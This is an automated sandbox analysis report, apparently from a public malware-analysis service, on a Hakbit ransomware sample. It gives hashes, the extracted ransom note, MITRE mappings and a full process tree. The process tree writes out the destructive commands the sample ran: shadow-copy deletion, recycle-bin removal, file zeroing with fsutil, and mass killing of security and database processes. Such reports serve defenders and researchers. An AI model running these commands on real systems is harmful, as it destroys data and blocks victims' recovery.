Overview

overview

10

Static

static

10

Archive.zip

windows10-1703-x64

1

Dropper/Berbew.exe

windows10-1703-x64

10

Dropper/Phorphiex.exe

windows10-1703-x64

10

out.exe

windows10-1703-x64

3

RAT/31.exe

windows10-1703-x64

10

RAT/XClient.exe

windows10-1703-x64

10

RAT/file.exe

windows10-1703-x64

7

Ransomware...-2.exe

windows10-1703-x64

10

Ransomware...01.exe

windows10-1703-x64

10

Ransomware...lt.exe

windows10-1703-x64

10

Stealers/Azorult.exe

windows10-1703-x64

10

Stealers/B...on.exe

windows10-1703-x64

10

Stealers/Dridex.dll

windows10-1703-x64

10

Stealers/M..._2.exe

windows10-1703-x64

10

Stealers/lumma.exe

windows10-1703-x64

10

Trojan/BetaBot.exe

windows10-1703-x64

10

Trojan/Smo...er.exe

windows10-1703-x64

10

Resubmissions

12-09-2024 02:23

240912-cvfznswere 10

04-09-2024 00:09

240904-afvheascla 10

03-09-2024 18:57

240903-xl8csavfrb 10

03-09-2024 18:12

240903-ws828asgnm 10

Analysis

  • max time kernel
    440s
  • max time network
    1583s
  • platform
    windows10-1703_x64
  • resource
    win10-20240611-en
  • resource tags

    arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04-09-2024 00:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Ransomware/Client-2.exe

  • Size

    80KB

  • MD5

    8152a3d0d76f7e968597f4f834fdfa9d

  • SHA1

    c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e

  • SHA256

    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

  • SHA512

    eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4

  • SSDEEP

    1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Score
10/10
hakbitcredential_accessdiscoveryevasionexecutionransomwarespywarestealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Family

hakbit

Ransom Note
To recover your data contact the email below [email protected] Key Identifier: fpNR0d0g2YQwr7eLPGC8HxWujTwoR/XT1x+oEkADV93PhgHM0dQxkr2MRR9T/HDS4PV3IEN193ymYtnQ6CdcqMYVaLNMSCZHEqNqlrLoMcJD8vR1Qi60PLS2mExBVPnWVN1FRz6tTbafgeqQSc741mud4UqfHQ/XONSSztbsqkiJKoI/TWzTNkT7QMd8pt/l/mvN9Wjq0qislo0Q8nevZXlmaSUV2hZxFhWP4iPy9wfPLvMVMNgMMeEN4hB5kbPTg8tgBQpTK0HyGPegqUI9dgGCNko9+TJqtG8VFWcPP15aNI1S5L6+Gwq9r3iaDjIUhrKlY/0amCjYHIcR404ZbJrjoj25KhWolW1j3+y07mSPN6LZmGjo6qizug0k1QIlCncORDzf5lPw6grBrkRbEGqEci8/1SPtkYcdiDsfJbsjxbaR2cQRP/57GJU58FtW7BGeDjw46TEEc13A15/IZ58J3r8QCbHZq0GliKQhrmwxcV09Wa0i7R2556yLCOy94ep0aMcHunJIg2/qYKLOAvHo8Oh5K3WkiD0l3IUOmv/Q3yzAOopZrOZQiJJyDVbUrEBT4MQ2RDX27nLD0MOIX21CWgbmLmKbca/UyqgPOby3+azZi4kwuvRx8kBtJwVS3cUou3YxfjlvAhZQHos8mAkWeUf5MHTzJb88oTVMZFE= Number of files that were processed is: 1210

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

    ransomwarehakbit
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Kills process with taskkill 47 IoCs
    evasion
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
    "C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe"
    1⤵
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5020
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
      • Launches sc.exe
      PID:4388
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
      2⤵
      • Launches sc.exe
      PID:5036
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLWriter start= disabled
      2⤵
      • Launches sc.exe
      PID:3236
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SstpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:544
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4980
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1384
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5004
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1232
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqbcoreservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:388
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM firefoxconfig.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5000
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM agntsvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2916
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM thebat.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5032
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM steam.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1980
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM encsvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2956
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM excel.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4428
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM CNTAoSMgr.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4440
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlwriter.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2304
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM tbirdconfig.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5028
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM dbeng50.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3328
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM thebat64.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3724
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM ocomm.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:164
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM infopath.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3716
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mbamtray.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1924
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM zoolz.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4448
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" IM thunderbird.exe /F
      2⤵
      • Kills process with taskkill
      PID:2152
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM dbsnmp.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2456
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM xfssvccon.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4688
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5080
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM Ntrtscan.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:208
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM isqlplussvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3412
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM onenote.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3092
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM PccNTMon.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1792
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM msaccess.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:220
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM outlook.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:340
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM tmlisten.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1704
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM msftesql.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2196
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM powerpnt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1836
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4600
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM visio.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:32
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2296
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM winword.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1456
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld-nt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4032
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM wordpad.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2444
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld-opt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4080
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM ocautoupds.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:460
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM ocssd.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1224
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM oracle.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4768
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlagent.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4576
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlbrowser.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3904
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlservr.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4644
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM synctime.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4628
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:560
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:2164
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:4248
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.7 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:5248
        • C:\Windows\system32\fsutil.exe
          fsutil file setZeroData offset=0 length=524288 “%s”
          3⤵
            PID:5904
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
          2⤵
            PID:5272
            • C:\Windows\system32\choice.exe
              choice /C Y /N /D Y /T 3
              3⤵
                PID:5396

          Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          System Services

          1
          T1569

          Service Execution

          1
          T1569.002

          Persistence

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Privilege Escalation

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Defense Evasion

          Credential Access

          Credentials from Password Stores

          2
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Windows Credential Manager

          1
          T1555.004

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Browser Information Discovery

          1
          T1217

          Remote System Discovery

          1
          T1018

          System Information Discovery

          1
          T1082

          System Network Configuration Discovery

          1
          T1016

          Internet Connection Discovery

          1
          T1016.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Exfiltration

          Impact

          Service Stop

          1
          T1489

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
            Filesize

            1.3MB

            MD5

            496b2faafaaf3ff1528393f3dc6fa4fd

            SHA1

            cdb2f286077c1550cb41bbb8475abb3e51aed1e3

            SHA256

            66b67dbf3d91f5ab246bb83b4193cf1d2ce9eaab44f4f1050346c2e40023d5b4

            SHA512

            200ceebdc174b11dd45b3dfa470105287aaecb2cff071dbe9f0d66b6eabb3a42bddab0ea76d9a60b9172cff69f2863b8eb50ca61248acfcaa92cfe2da5def297

            Download Submit

          • C:\ProgramData\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\MasterDatastore.xml.energy[[email protected]]
            Filesize

            272B

            MD5

            df75b403e90db8a1210e4e1bcebd4801

            SHA1

            e2528d118d993325cd085e5f3cdd6ef78bee057c

            SHA256

            c8180a52346c277459a31bac9ebebd8c17f8e18dcb7244b1846ff604f78d07b5

            SHA512

            a6cc0f1b58cf995e73aa9c1d1461884f741c7828e870ce9ff0a581b4e1b4c9ac479e878ac0accaa5bf0907ef3af305ad72d51f790ecbed93607f9982b48eaa53

            Download Submit

          • C:\ProgramData\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\MasterDatastore.xml.energy[[email protected]]
            Filesize

            4KB

            MD5

            5cc9c204d02aaf07332a2dce3d7b5dd3

            SHA1

            cf723480ce602998db06896bfbbdc3775201b871

            SHA256

            f6f4fdc55f5a2dc53351aec4e03e9b641ef825a9eab349f173c59ad444e4b5cc

            SHA512

            b6acd29c0adce86ddfe12c077564b476b7a6a93f1720f6c2034f9f799f979a6fbebd533c4c51c9422ad1bfcca254d8e27d0be7d094f4349c297ced95e011e758

            Download Submit

          • C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime\206__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.energy[[email protected]]
            Filesize

            480B

            MD5

            e1a1d455164d1f59adbaa43110603f56

            SHA1

            e741613fd4c6b9ef662ca926d1d24efd5bbed79f

            SHA256

            9fc122dd31477da0ff31702b72c43d7a7af36901b31467c6e743634b85f22993

            SHA512

            a3f86a9dec966a25ac47e5dc567ea36db97fa5e1192aa4f3c27624f1f5ea7f41c35dd2bfbf1201f6e09f9e586e56a7a9d623c8c59a93a42e8c1250f1a4e3366d

            Download Submit

          • C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.energy[[email protected]]
            Filesize

            4KB

            MD5

            d1a5ff666db35775cc2a94ebd76b7c43

            SHA1

            4a5649d69fcc2d7d8e10c224c4c9ed092d104934

            SHA256

            4517db13cd0912c214c8cf26bb51618ff3d3e4b7f92686b10d54cebd7fe3c19a

            SHA512

            5860e76d377b17ce39b1c5e271a65d4e514ce4d8f5887d677a83f3172ea0b66ea6c5fb085b5b353c9f6c376849d2d0f0766b238b18f814248282fe8fd5036a5e

            Download Submit

          • C:\ProgramData\Microsoft\Provisioning\{c8a326e4-f518-4f14-b543-97a57e1a975e}\Prov\RunTime\625__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.energy[[email protected]]
            Filesize

            464B

            MD5

            3ac8009a10f10ede3dc55cf3d1cd2164

            SHA1

            5e85fe5087a09f37fd3d446965c58925dfe5e640

            SHA256

            10a47346779085e6eddb5fd1e76ec368747d9f9776b49437ae2b14de57f37b39

            SHA512

            38730f5a8efb1c055b8313ffb5a9f99c0c22b4587ec8529381cd936f6bad14ea179a44958977dcc091de9381b4809dc5a11c4c2fd136989eaae525c076b54dda

            Download Submit

          • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
            Filesize

            180KB

            MD5

            d5ea6e994a30ddd361a562bde55e268a

            SHA1

            64e065dce749ed67d4a38ffbab81e69d52b33162

            SHA256

            6379e5afccf987d645e259083ba55febe7bee32042c300f696ed1cd575ef0075

            SHA512

            3275f70089095b431959159b09039d4bb54232640af03e8b80550d15559bfcef1054a958a1e0a51e5b452c854c6425ff15b5d3edd4f353ba25df25da83a8e9a8

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            b49a31b6e3a6771dbfa29b309842ef4f

            SHA1

            6b837a896a3008be212e7a3e297859b06b1d22af

            SHA256

            066845e6408685e957268c1c1bbb2240809c5b5751ae7973235490032eb51d81

            SHA512

            804d493bfafbe4be906dc9bb760839af0dc1e7ff4e15cec1b75c328b982f797ee5910e045d691138bbf8e5bcaba3fcfe354523acd90be3a6180cdae14af19029

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            1KB

            MD5

            7579bd584c022e0b69d7405416bd8f76

            SHA1

            2ea8be6e547b76b33533e857fa175f706d44effd

            SHA256

            fe3945acd804253f129cd58e63f8287bbb6426cb3ce4194ebcddbb7e9c786c74

            SHA512

            b8564aa506a099949432c82dcf90456975914aa42e9aa2922c9d3b7432961b7ac18c716f7046207ceea4481ba5d49b131e8769b8f45622030f29ff2be0139129

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wjuye4ox.4wa.ps1
            Filesize

            1B

            MD5

            c4ca4238a0b923820dcc509a6f75849b

            SHA1

            356a192b7913b04c54574d18c28d46e6395428ab

            SHA256

            6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

            SHA512

            4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

            Download Submit

          • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
            Filesize

            829B

            MD5

            49c7488a8a5a2339a7c6425c4cf0f0da

            SHA1

            926ed55656f18b98738c05d73f899b5c8850dbcd

            SHA256

            8c3ed9f6ba52a5008ca89858a53061c58c003131061d86eddd03fe197e3ec26d

            SHA512

            549a0eff7c02c1e29ce256aac3d91d59b31ee7abe289355f6d944aee8407217c483b1c5bf6efcbb83b6a259b077172e2851ff4bf26aeb3956c0c862090eb08c5

            Download Submit

          • memory/4628-25-0x0000029062E10000-0x0000029062E86000-memory.dmp

            Filesize

            472KB

            Download

          • memory/4628-16-0x0000029062C50000-0x0000029062C72000-memory.dmp

            Filesize

            136KB

            Download

          • memory/5020-145-0x00007FFB5DDC0000-0x00007FFB5E7AC000-memory.dmp

            Filesize

            9.9MB

            Download

          • memory/5020-130-0x00007FFB5DDC3000-0x00007FFB5DDC4000-memory.dmp

            Filesize

            4KB

            Download

          • memory/5020-0-0x00007FFB5DDC3000-0x00007FFB5DDC4000-memory.dmp

            Filesize

            4KB

            Download

          • memory/5020-3-0x00007FFB5DDC0000-0x00007FFB5E7AC000-memory.dmp

            Filesize

            9.9MB

            Download

          • memory/5020-1-0x0000000000590000-0x00000000005AA000-memory.dmp

            Filesize

            104KB

            Download

          • memory/5020-1319-0x00007FFB5DDC0000-0x00007FFB5E7AC000-memory.dmp

            Filesize

            9.9MB

            Download